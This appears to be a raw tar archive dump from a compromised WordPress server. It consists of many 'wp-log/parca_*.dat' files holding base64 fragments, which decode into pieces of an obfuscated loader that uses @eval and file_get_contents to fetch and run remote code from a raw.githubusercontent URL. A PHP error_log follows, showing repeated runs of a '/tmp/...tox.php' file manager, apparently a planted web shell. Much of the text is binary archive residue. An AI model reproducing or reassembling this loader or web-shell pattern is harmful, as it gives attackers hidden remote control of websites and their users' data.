0ustar00RlbnRzLyoqKioqwp-log/parca_690d8b22ed490.dat000064400000000016151033141160011427 0ustar00L2hpbG5ldC9tZXwp-log/parca_690d983dd869b.dat000064400000000016151033141160011450 0ustar00bGVuY29kZSgiaHwp-log/parca_690d55dd5a3de.dat000064400000000012151033141160011563 0ustar00kpOy8qKi8=wp-log/parca_690d55e54ebd4.dat000064400000000012151033141160011506 0ustar00kpOy8qKi8=wp-log/parca_690cee5a780d4.dat000064400000000016151033141160011511 0ustar00R0cHM6Ly9yYXcuwp-log/parca_690d5b91e882c.dat000064400000000016151033141160011436 0ustar00oqLygiPz4iLmZpwp-log/parca_690cf3ddd30dc.dat000064400000000016151033141160011641 0ustar009kZSh1cmxlbmNvwp-log/parca_690d6d0c44aef.dat000064400000000016151033141160011564 0ustar00L2hpbG5ldC9tZXwp-log/parca_690c984b3a124.dat000064400000000016151033141160011344 0ustar00LyoqKiovQG51bGwp-log/parca_690d980a99c24.dat000064400000000016151033141160011360 0ustar00LyoqKiovQG51bGwp-log/parca_690d5b7e5cabd.dat000064400000000016151033141160011645 0ustar00bS50eHQiKSkpKSwp-log/parca_690d60c1a652c.dat000064400000000016151033141160011416 0ustar00Ki9AZXZhbC8qKiwp-log/parca_690d8ff953fcf.dat000064400000000016151033141160011607 0ustar00bGVuY29kZSgiaHwp-log/parca_690d7a3dc973e.dat000064400000000016151033141160011515 0ustar00Vjb2RlKHJhd3Vywp-log/parca_690d904c87ba7.dat000064400000000016151033141160011434 0ustar00w7IC8qKioqKioqwp-log/parca_690d7ae96e9de.dat000064400000000016151033141160011606 0ustar00LyoqKiovQG51bGwp-log/parca_690d5b955f9f4.dat000064400000000016151033141160011446 0ustar00R0cHM6Ly9yYXcuwp-log/parca_690d6771e40c1.dat000064400000000016151033141160011345 0ustar00bGVfZ2V0X2Nvbnwp-log/parca_690d6d057cd67.dat000064400000000016151033141160011435 0ustar00Rva2wvbWFpbi9mwp-log/parca_690c984b3a76f.dat000064400000000016151033141160011440 0ustar00NvbnRlbnQuY29twp-log/parca_690d7a09c1589.dat000064400000000016151033141160011356 0ustar00Z2l0aHVidXNlcmwp-log/parca_690d82ec98097.dat000064400000000016151033141160011366 0ustar00oqLygiPz4iLmZpwp-log/parca_690d6d92c7225.dat000064400000000016151033141160011353 0ustar00R0cHM6Ly9yYXcuwp-log/parca_690d6d4980856.dat000064400000000016151033141160011305 0ustar00R0cHM6Ly9yYXcuwp-log/parca_690d671db1084.dat000064400000000016151033141160011344 0ustar00bS50eHQiKSkpKSwp-log/parca_690d2a5a17232.dat000064400000000012151033141160011327 0ustar00kpOy8qKi8=wp-log/parca_690c3bbab31d0.dat000064400000000016151033141160011544 0ustar00Ki8gLyoqKioqKiwp-log/parca_690d60f7898d5.dat000064400000000016151033141160011370 0ustar00Vjb2RlKHJhd3Vywp-log/parca_690c984b3a6bf.dat000064400000000016151033141160011513 0ustar00ZGUocmF3dXJsZGwp-log/parca_690d7aaa4968e.dat000064400000000016151033141160011515 0ustar00bGVuY29kZSgiaHwp-log/parca_690d98455e1ee.dat000064400000000016151033141160011442 0ustar00Ki9AZXZhbC8qKiwp-log/parca_690d60ddc8aaa.dat000064400000000016151033141160011637 0ustar009kZSh1cmxlbmNvwp-log/parca_690d671db0ec8.dat000064400000000016151033141160011507 0ustar009kZSh1cmxlbmNvwp-log/parca_690d980a99ca3.dat000064400000000016151033141160011436 0ustar00w7IC8qKioqKioqwp-log/parca_690d7aaa495ab.dat000064400000000016151033141160011562 0ustar00oqLygiPz4iLmZpwp-log/parca_690d55dd5a376.dat000064400000000016151033141160011433 0ustar00L2hpbG5ldC9tZXwp-log/parca_690d55c985baf.dat000064400000000016151033141160011517 0ustar00Z2l0aHVidXNlcmwp-log/parca_690d6cedf2a47.dat000064400000000016151033141160011571 0ustar00Ki8gLyoqKioqKiwp-log/parca_690d6d057cc12.dat000064400000000016151033141160011422 0ustar00RlbnRzLyoqKioqwp-log/parca_690d6771e4196.dat000064400000000016151033141160011301 0ustar00bGVuY29kZSgiaHwp-log/parca_690d6d035caf9.dat000064400000000016151033141160011510 0ustar00ZGUocmF3dXJsZGwp-log/parca_690d5b6549305.dat000064400000000016151033141160011272 0ustar00bGVuY29kZSgiaHwp-log/parca_690d74aab0aca.dat000064400000000016151033141160011627 0ustar00Vjb2RlKHJhd3Vywp-log/parca_690d7ad472fe3.dat000064400000000016151033141160011512 0ustar00ovIC8qKioqKioqwp-log/parca_690d8b37b3c21.dat000064400000000016151033141160011422 0ustar00bGVfZ2V0X2Nvbnwp-log/parca_690d6d2e4e608.dat000064400000000016151033141160011433 0ustar00LyoqKiovQG51bGwp-log/parca_690c56d2921c4.dat000064400000000016151033141160011346 0ustar00R0cHM6Ly9yYXcuwp-log/parca_690c4953b0670.dat000064400000000016151033141160011266 0ustar00L2hpbG5ldC9tZXwp-log/parca_690d7a5ef32f0.dat000064400000000016151033141160011506 0ustar00RlbnRzLyoqKioqwp-log/parca_690d90ae8606c.dat000064400000000016151033141160011431 0ustar00Z2l0aHVidXNlcmwp-log/parca_690cd9fdac723.dat000064400000000016151033141160011571 0ustar00L2hpbG5ldC9tZXwp-log/parca_690d7a9165fc9.dat000064400000000016151033141160011442 0ustar00KiovKHVybGRlY2wp-log/parca_690d7ad4730de.dat000064400000000016151033141160011506 0ustar00Vjb2RlKHJhd3Vywp-log/parca_690d9842cbc2b.dat000064400000000016151033141160011506 0ustar00bGVfZ2V0X2Nvbnwp-log/parca_690d9052b928f.dat000064400000000016151033141160011356 0ustar00L2hpbG5ldC9tZXwp-log/parca_690d672d45689.dat000064400000000016151033141160011306 0ustar00R0cHM6Ly9yYXcuwp-log/parca_690d9041701ba.dat000064400000000012151033141160011330 0ustar00kpOy8qKi8=wp-log/parca_690d7ae83c3bc.dat000064400000000016151033141160011566 0ustar00w7IC8qKioqKioqwp-log/parca_690d830e4a453.dat000064400000000016151033141160011344 0ustar00w7IC8qKioqKioqwp-log/parca_690d983dd8636.dat000064400000000016151033141160011366 0ustar009kZSh1cmxlbmNvwp-log/parca_690d03d252819.dat000064400000000016151033141160011265 0ustar00KiovKHVybGRlY2wp-log/parca_690d90ae85fda.dat000064400000000016151033141160011572 0ustar00Vjb2RlKHJhd3Vywp-log/parca_690d6d92c7286.dat000064400000000016151033141160011362 0ustar00L2hpbG5ldC9tZXwp-log/parca_690d7a4eb0576.dat000064400000000016151033141160011430 0ustar00Vjb2RlKHJhd3Vywp-log/parca_690c56d29226c.dat000064400000000016151033141160011351 0ustar00bS50eHQiKSkpKSwp-log/parca_690cee5a780b2.dat000064400000000016151033141160011505 0ustar00bGVuY29kZSgiaHwp-log/parca_690d74c9b670c.dat000064400000000012151033141160011430 0ustar00kpOy8qKi8=wp-log/parca_690d61136c114.dat000064400000000016151033141160011255 0ustar00KiovKHVybGRlY2wp-log/parca_690d903a5b83a.dat000064400000000016151033141160011423 0ustar00Vjb2RlKHJhd3Vywp-log/parca_690d7a4eb0452.dat000064400000000016151033141160011421 0ustar00ovIC8qKioqKioqwp-log/parca_690bc475b250d.dat000064400000000016151033141160011421 0ustar009kZSh1cmxlbmNvwp-log/parca_690d8b56eb359.dat000064400000000016151033141160011440 0ustar00ZGUocmF3dXJsZGwp-log/parca_690d904d532b0.dat000064400000000016151033141160011340 0ustar00L2hpbG5ldC9tZXwp-log/parca_690d673232b0e.dat000064400000000016151033141160011341 0ustar009kZSh1cmxlbmNvwp-log/parca_690d60ddc8c4c.dat000064400000000016151033141160011566 0ustar00Rva2wvbWFpbi9mwp-log/parca_690d2a5a1702b.dat000064400000000016151033141160011410 0ustar00Ki9AZXZhbC8qKiwp-log/parca_690d7a9a62356.dat000064400000000016151033141160011353 0ustar00Ki8gLyoqKioqKiwp-log/parca_690d905e0c3c9.dat000064400000000016151033141160011430 0ustar00L2hpbG5ldC9tZXwp-log/parca_690d8282c7956.dat000064400000000016151033141160011305 0ustar00R0cHM6Ly9yYXcuwp-log/parca_690d8b37b3dc8.dat000064400000000016151033141160011513 0ustar00Rva2wvbWFpbi9mwp-log/parca_690d6d92c71e6.dat000064400000000016151033141160011436 0ustar00Vjb2RlKHJhd3Vywp-log/parca_690d208564193.dat000064400000000016151033141160011211 0ustar00ZGUocmF3dXJsZGwp-log/parca_690d6cedf2b34.dat000064400000000016151033141160011566 0ustar009kZSh1cmxlbmNvwp-log/parca_690d60f789866.dat000064400000000016151033141160011313 0ustar009kZSh1cmxlbmNvwp-log/parca_690caff44267b.dat000064400000000016151033141160011510 0ustar00Vjb2RlKHJhd3Vywp-log/parca_690d6d035cc21.dat000064400000000016151033141160011416 0ustar00bS50eHQiKSkpKSwp-log/parca_690d6d057cd22.dat000064400000000016151033141160011424 0ustar00NvbnRlbnQuY29twp-log/parca_690d7aaa496ae.dat000064400000000016151033141160011566 0ustar00R0cHM6Ly9yYXcuwp-log/parca_690d60f78965c.dat000064400000000016151033141160011365 0ustar00LyoqKiovQG51bGwp-log/parca_690cd9fdac754.dat000064400000000016151033141160011575 0ustar00Rva2wvbWFpbi9mwp-log/parca_690d6712e4445.dat000064400000000016151033141160011271 0ustar00LyoqKiovQG51bGwp-log/parca_690d6d057cdb9.dat000064400000000012151033141160011507 0ustar00kpOy8qKi8=wp-log/parca_690d7a5ef31a1.dat000064400000000016151033141160011501 0ustar00LyoqKiovQG51bGwp-log/parca_690d906a2879f.dat000064400000000016151033141160011363 0ustar00RlbnRzLyoqKioqwp-log/parca_690d904d530b9.dat000064400000000016151033141160011347 0ustar00bGVfZ2V0X2Nvbnwp-log/parca_690d74aab0afb.dat000064400000000016151033141160011633 0ustar00bGVuY29kZSgiaHwp-log/parca_690d03d2527f8.dat000064400000000016151033141160011350 0ustar00RlbnRzLyoqKioqwp-log/parca_690d82d917401.dat000064400000000016151033141160011267 0ustar00L2hpbG5ldC9tZXwp-log/parca_690d5b7e5c99b.dat000064400000000016151033141160011522 0ustar00bGVuY29kZSgiaHwp-log/parca_690d55c985bef.dat000064400000000016151033141160011523 0ustar00L2hpbG5ldC9tZXwp-log/parca_690d74f65128e.dat000064400000000016151033141160011357 0ustar00bGVfZ2V0X2Nvbnwp-log/parca_690d8b22ed337.dat000064400000000016151033141160011427 0ustar00bGVfZ2V0X2Nvbnwp-log/parca_690d903a5b660.dat000064400000000016151033141160011343 0ustar00w7IC8qKioqKioqwp-log/parca_690d6ccb17f4f.dat000064400000000016151033141160011571 0ustar00ZGUocmF3dXJsZGwp-log/parca_690d9045a4336.dat000064400000000016151033141160011266 0ustar00R0cHM6Ly9yYXcuwp-log/parca_690d67217a296.dat000064400000000016151033141160011274 0ustar00bGVuY29kZSgiaHwp-log/parca_68feeb500765f.dat000064400000000016151033141160011515 0ustar00Rva2wvbWFpbi9mwp-log/parca_690d7ae83c5f6.dat000064400000000016151033141160011517 0ustar00Rva2wvbWFpbi9mwp-log/parca_690c40da94f7e.dat000064400000000016151033141160011512 0ustar00Ki9AZXZhbC8qKiwp-log/parca_690d7a5ef3224.dat000064400000000016151033141160011426 0ustar00w7IC8qKioqKioqwp-log/parca_690d2a5a17152.dat000064400000000016151033141160011334 0ustar00bGVuY29kZSgiaHwp-log/parca_690d6d1e61997.dat000064400000000016151033141160011363 0ustar00R0cHM6Ly9yYXcuwp-log/parca_690d5b6549219.dat000064400000000016151033141160011276 0ustar00oqLygiPz4iLmZpwp-log/parca_690d7a9166056.dat000064400000000016151033141160011274 0ustar00bGVuY29kZSgiaHwp-log/parca_690d6dc2a3e77.dat000064400000000016151033141160011511 0ustar00w7IC8qKioqKioqwp-log/parca_690d7a96726ab.dat000064400000000012151033141160011430 0ustar00kpOy8qKi8=wp-log/parca_690d90ae85edc.dat000064400000000016151033141160011573 0ustar00oqLygiPz4iLmZpwp-log/parca_690d7a09c15aa.dat000064400000000016151033141160011477 0ustar00NvbnRlbnQuY29twp-log/parca_690d8fd1529e8.dat000064400000000016151033141160011443 0ustar00Vjb2RlKHJhd3Vywp-log/parca_690d749b3c1ef.dat000064400000000016151033141160011513 0ustar00oqLygiPz4iLmZpwp-log/parca_690c3bbab3351.dat000064400000000016151033141160011470 0ustar00R0cHM6Ly9yYXcuwp-log/parca_690d6ccb17e40.dat000064400000000016151033141160011502 0ustar00Ki8gLyoqKioqKiwp-log/parca_690d60f7899a3.dat000064400000000016151033141160011364 0ustar00NvbnRlbnQuY29twp-log/parca_690bc475b262d.dat000064400000000016151033141160011424 0ustar00bS50eHQiKSkpKSwp-log/parca_690cd9fdac573.dat000064400000000016151033141160011574 0ustar00RlbnRzLyoqKioqwp-log/parca_690caff442650.dat000064400000000016151033141160011424 0ustar00ZGUocmF3dXJsZGwp-log/parca_690d983dd850c.dat000064400000000016151033141160011437 0ustar00w7IC8qKioqKioqwp-log/parca_690d60cd58570.dat000064400000000016151033141160011351 0ustar00Z2l0aHVidXNlcmwp-log/parca_690d82ec97f85.dat000064400000000016151033141160011450 0ustar00LyoqKiovQG51bGwp-log/parca_690d6d92c7179.dat000064400000000016151033141160011363 0ustar009kZSh1cmxlbmNvwp-log/parca_690d74aab093c.dat000064400000000016151033141160011501 0ustar00ovIC8qKioqKioqwp-log/parca_690d908a1a600.dat000064400000000016151033141160011335 0ustar00ZGUocmF3dXJsZGwp-log/parca_690c4953b0612.dat000064400000000016151033141160011262 0ustar00R0cHM6Ly9yYXcuwp-log/parca_690d9842cbb89.dat000064400000000016151033141160011442 0ustar00ovIC8qKioqKioqwp-log/parca_690d5b7e5c8f1.dat000064400000000016151033141160011515 0ustar00KiovKHVybGRlY2wp-log/parca_690d6d520f9c3.dat000064400000000016151033141160011431 0ustar00bGVuY29kZSgiaHwp-log/parca_690c56d291e9c.dat000064400000000016151033141160011436 0ustar00w7IC8qKioqKioqwp-log/parca_690d7a4eb04e8.dat000064400000000016151033141160011507 0ustar00RlbnRzLyoqKioqwp-log/parca_690cd9fcc5954.dat000064400000000016151033141160011522 0ustar00bS50eHQiKSkpKSwp-log/parca_690c984b3a7bf.dat000064400000000016151033141160011514 0ustar00Rva2wvbWFpbi9mwp-log/parca_690d7a916609d.dat000064400000000016151033141160011356 0ustar00R0cHM6Ly9yYXcuwp-log/parca_690d90b1c5d24.dat000064400000000016151033141160011421 0ustar00RlbnRzLyoqKioqwp-log/parca_690d7a09c1543.dat000064400000000016151033141160011344 0ustar00bGVuY29kZSgiaHwp-log/parca_690d20856424f.dat000064400000000016151033141160011270 0ustar00L2hpbG5ldC9tZXparca_68feeb5007536.dat.dat.tar.gz000064400000000252151033141160012202 0ustar00M0`xIع0qEZ8P۸fiE|oIknF7d\  } ~Hn Y|Sku[k$*iL6@fT$Kr.(tۖ&CϪ Wo(^$PK$g[ 7Occ error_lognu[[27-Oct-2025 03:47:34 UTC] PHP Notice: Undefined variable: authorization in /tmp/phpM5aThD#tox.php on line 20 [27-Oct-2025 03:47:34 UTC] PHP Notice: Undefined variable: translation in /tmp/phpM5aThD#tox.php on line 81 [27-Oct-2025 03:47:34 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/en.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#tox.php on line 83 [05-Nov-2025 10:54:10 UTC] PHP Notice: Undefined variable: authorization in /tmp/phpM5aThD#tox.php on line 20 [05-Nov-2025 10:54:10 UTC] PHP Notice: Undefined variable: translation in /tmp/phpM5aThD#tox.php on line 81 [05-Nov-2025 10:54:10 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#tox.php on line 83 [06-Nov-2025 05:38:24 UTC] PHP Notice: Undefined variable: authorization in /tmp/phpM5aThD#tox.php on line 20 [06-Nov-2025 05:38:24 UTC] PHP Notice: Undefined variable: translation in /tmp/phpM5aThD#tox.php on line 81 [06-Nov-2025 05:38:24 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#tox.php on line 83 [06-Nov-2025 07:08:35 UTC] PHP Notice: Undefined variable: authorization in /tmp/phpM5aThD#tox.php on line 20 [06-Nov-2025 07:08:35 UTC] PHP Notice: Undefined variable: translation in /tmp/phpM5aThD#tox.php on line 81 [06-Nov-2025 07:08:35 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#tox.php on line 83 [06-Nov-2025 07:08:43 UTC] PHP Notice: Undefined variable: authorization in /tmp/phpM5aThD#tox.php on line 20 [06-Nov-2025 07:08:43 UTC] PHP Notice: Undefined variable: translation in /tmp/phpM5aThD#tox.php on line 81 [06-Nov-2025 07:08:43 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#tox.php on line 83 [06-Nov-2025 09:23:15 UTC] PHP Notice: Undefined variable: authorization in /tmp/phpM5aThD#tox.php on line 20 [06-Nov-2025 09:23:15 UTC] PHP Notice: Undefined variable: translation in /tmp/phpM5aThD#tox.php on line 81 [06-Nov-2025 09:23:15 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#tox.php on line 83 [06-Nov-2025 10:27:30 UTC] PHP Notice: Undefined variable: authorization in /tmp/phpM5aThD#tox.php on line 20 [06-Nov-2025 10:27:30 UTC] PHP Notice: Undefined variable: translation in /tmp/phpM5aThD#tox.php on line 81 [06-Nov-2025 10:27:31 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#tox.php on line 83 [06-Nov-2025 10:56:10 UTC] PHP Notice: Undefined variable: authorization in /tmp/phpM5aThD#tox.php on line 20 [06-Nov-2025 10:56:10 UTC] PHP Notice: Undefined variable: translation in /tmp/phpM5aThD#tox.php on line 81 [06-Nov-2025 10:56:10 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#tox.php on line 83 [06-Nov-2025 12:19:11 UTC] PHP Notice: Undefined variable: authorization in /tmp/phpM5aThD#tox.php on line 20 [06-Nov-2025 12:19:11 UTC] PHP Notice: Undefined variable: translation in /tmp/phpM5aThD#tox.php on line 81 [06-Nov-2025 12:19:11 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#tox.php on line 83 [06-Nov-2025 12:19:21 UTC] PHP Notice: Undefined variable: authorization in /tmp/phpM5aThD#tox.php on line 20 [06-Nov-2025 12:19:21 UTC] PHP Notice: Undefined variable: translation in /tmp/phpM5aThD#tox.php on line 81 [06-Nov-2025 12:19:21 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#tox.php on line 83 [06-Nov-2025 14:26:23 UTC] PHP Notice: Undefined variable: authorization in /tmp/phpM5aThD#tox.php on line 20 [06-Nov-2025 14:26:23 UTC] PHP Notice: Undefined variable: translation in /tmp/phpM5aThD#tox.php on line 81 [06-Nov-2025 14:26:23 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#tox.php on line 83 [06-Nov-2025 15:15:39 UTC] PHP Notice: Undefined variable: authorization in /tmp/phpM5aThD#tox.php on line 20 [06-Nov-2025 15:15:39 UTC] PHP Notice: Undefined variable: translation in /tmp/phpM5aThD#tox.php on line 81 [06-Nov-2025 15:15:39 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#tox.php on line 83 [06-Nov-2025 20:45:32 UTC] PHP Notice: Undefined variable: authorization in /tmp/phpM5aThD#tox.php on line 20 [06-Nov-2025 20:45:32 UTC] PHP Notice: Undefined variable: translation in /tmp/phpM5aThD#tox.php on line 81 [06-Nov-2025 20:45:32 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#tox.php on line 83 [06-Nov-2025 21:14:28 UTC] PHP Notice: Undefined variable: authorization in /tmp/phpM5aThD#tox.php on line 20 [06-Nov-2025 21:14:28 UTC] PHP Notice: Undefined variable: translation in /tmp/phpM5aThD#tox.php on line 81 [06-Nov-2025 21:14:28 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#tox.php on line 83 [06-Nov-2025 21:14:47 UTC] PHP Notice: Undefined variable: authorization in /tmp/phpM5aThD#tox.php on line 20 [06-Nov-2025 21:14:47 UTC] PHP Notice: Undefined variable: translation in /tmp/phpM5aThD#tox.php on line 81 [06-Nov-2025 21:14:47 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#tox.php on line 83 [06-Nov-2025 21:14:47 UTC] PHP Notice: Undefined variable: ext in /tmp/phpM5aThD#tox.php on line 1145 [06-Nov-2025 21:49:50 UTC] PHP Notice: Undefined variable: authorization in /tmp/phpM5aThD#tox.php on line 20 [06-Nov-2025 21:49:50 UTC] PHP Notice: Undefined variable: translation in /tmp/phpM5aThD#tox.php on line 81 [06-Nov-2025 21:49:50 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#tox.php on line 83 [06-Nov-2025 22:26:32 UTC] PHP Notice: Undefined variable: authorization in /tmp/phpM5aThD#tox.php on line 20 [06-Nov-2025 22:26:32 UTC] PHP Notice: Undefined variable: translation in /tmp/phpM5aThD#tox.php on line 81 [06-Nov-2025 22:26:32 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#tox.php on line 83 [06-Nov-2025 22:26:32 UTC] PHP Warning: Invalid argument supplied for foreach() in /tmp/phpM5aThD#tox.php on line 525 [06-Nov-2025 22:26:32 UTC] PHP Warning: Invalid argument supplied for foreach() in /tmp/phpM5aThD#tox.php on line 525 [07-Nov-2025 01:50:13 UTC] PHP Notice: Undefined variable: authorization in /tmp/phpM5aThD#tox.php on line 20 [07-Nov-2025 01:50:13 UTC] PHP Notice: Undefined variable: translation in /tmp/phpM5aThD#tox.php on line 81 [07-Nov-2025 01:50:13 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#tox.php on line 83 [07-Nov-2025 02:37:29 UTC] PHP Notice: Undefined variable: authorization in /tmp/phpM5aThD#tox.php on line 20 [07-Nov-2025 02:37:29 UTC] PHP Notice: Undefined variable: translation in /tmp/phpM5aThD#tox.php on line 81 [07-Nov-2025 02:37:29 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#tox.php on line 83 [07-Nov-2025 02:37:46 UTC] PHP Notice: Undefined variable: authorization in /tmp/phpM5aThD#tox.php on line 20 [07-Nov-2025 02:37:46 UTC] PHP Notice: Undefined variable: translation in /tmp/phpM5aThD#tox.php on line 81 [07-Nov-2025 02:37:46 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#tox.php on line 83 [07-Nov-2025 02:38:18 UTC] PHP Notice: Undefined variable: authorization in /tmp/phpM5aThD#tox.php on line 20 [07-Nov-2025 02:38:18 UTC] PHP Notice: Undefined variable: translation in /tmp/phpM5aThD#tox.php on line 81 [07-Nov-2025 02:38:18 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#tox.php on line 83 [07-Nov-2025 03:00:09 UTC] PHP Notice: Undefined variable: authorization in /tmp/phpM5aThD#tox.php on line 20 [07-Nov-2025 03:00:09 UTC] PHP Notice: Undefined variable: translation in /tmp/phpM5aThD#tox.php on line 81 [07-Nov-2025 03:00:09 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#tox.php on line 83 [07-Nov-2025 03:00:21 UTC] PHP Notice: Undefined variable: authorization in /tmp/phpM5aThD#tox.php on line 20 [07-Nov-2025 03:00:21 UTC] PHP Notice: Undefined variable: translation in /tmp/phpM5aThD#tox.php on line 81 [07-Nov-2025 03:00:21 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#tox.php on line 83 [07-Nov-2025 03:00:33 UTC] PHP Notice: Undefined variable: authorization in /tmp/phpM5aThD#tox.php on line 20 [07-Nov-2025 03:00:33 UTC] PHP Notice: Undefined variable: translation in /tmp/phpM5aThD#tox.php on line 81 [07-Nov-2025 03:00:33 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#tox.php on line 83 [07-Nov-2025 03:26:29 UTC] PHP Notice: Undefined variable: authorization in /tmp/phpM5aThD#tox.php on line 20 [07-Nov-2025 03:26:29 UTC] PHP Notice: Undefined variable: translation in /tmp/phpM5aThD#tox.php on line 81 [07-Nov-2025 03:26:29 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#tox.php on line 83 [07-Nov-2025 03:51:25 UTC] PHP Notice: Undefined variable: authorization in /tmp/phpM5aThD#tox.php on line 20 [07-Nov-2025 03:51:25 UTC] PHP Notice: Undefined variable: translation in /tmp/phpM5aThD#tox.php on line 81 [07-Nov-2025 03:51:25 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#tox.php on line 83 [07-Nov-2025 03:52:05 UTC] PHP Notice: Undefined variable: authorization in /tmp/phpM5aThD#tox.php on line 20 [07-Nov-2025 03:52:05 UTC] PHP Notice: Undefined variable: translation in /tmp/phpM5aThD#tox.php on line 81 [07-Nov-2025 03:52:05 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#tox.php on line 83 [07-Nov-2025 04:48:46 UTC] PHP Notice: Undefined variable: authorization in /tmp/phpM5aThD#tox.php on line 20 [07-Nov-2025 04:48:46 UTC] PHP Notice: Undefined variable: translation in /tmp/phpM5aThD#tox.php on line 81 [07-Nov-2025 04:48:46 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#tox.php on line 83 [07-Nov-2025 04:49:42 UTC] PHP Notice: Undefined variable: authorization in /tmp/phpM5aThD#tox.php on line 20 [07-Nov-2025 04:49:42 UTC] PHP Notice: Undefined variable: translation in /tmp/phpM5aThD#tox.php on line 81 [07-Nov-2025 04:49:42 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#tox.php on line 83 [07-Nov-2025 05:23:39 UTC] PHP Notice: Undefined variable: authorization in /tmp/phpM5aThD#tox.php on line 20 [07-Nov-2025 05:23:39 UTC] PHP Notice: Undefined variable: translation in /tmp/phpM5aThD#tox.php on line 81 [07-Nov-2025 05:23:39 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#tox.php on line 83 [07-Nov-2025 05:23:52 UTC] PHP Notice: Undefined variable: authorization in /tmp/phpM5aThD#tox.php on line 20 [07-Nov-2025 05:23:52 UTC] PHP Notice: Undefined variable: translation in /tmp/phpM5aThD#tox.php on line 81 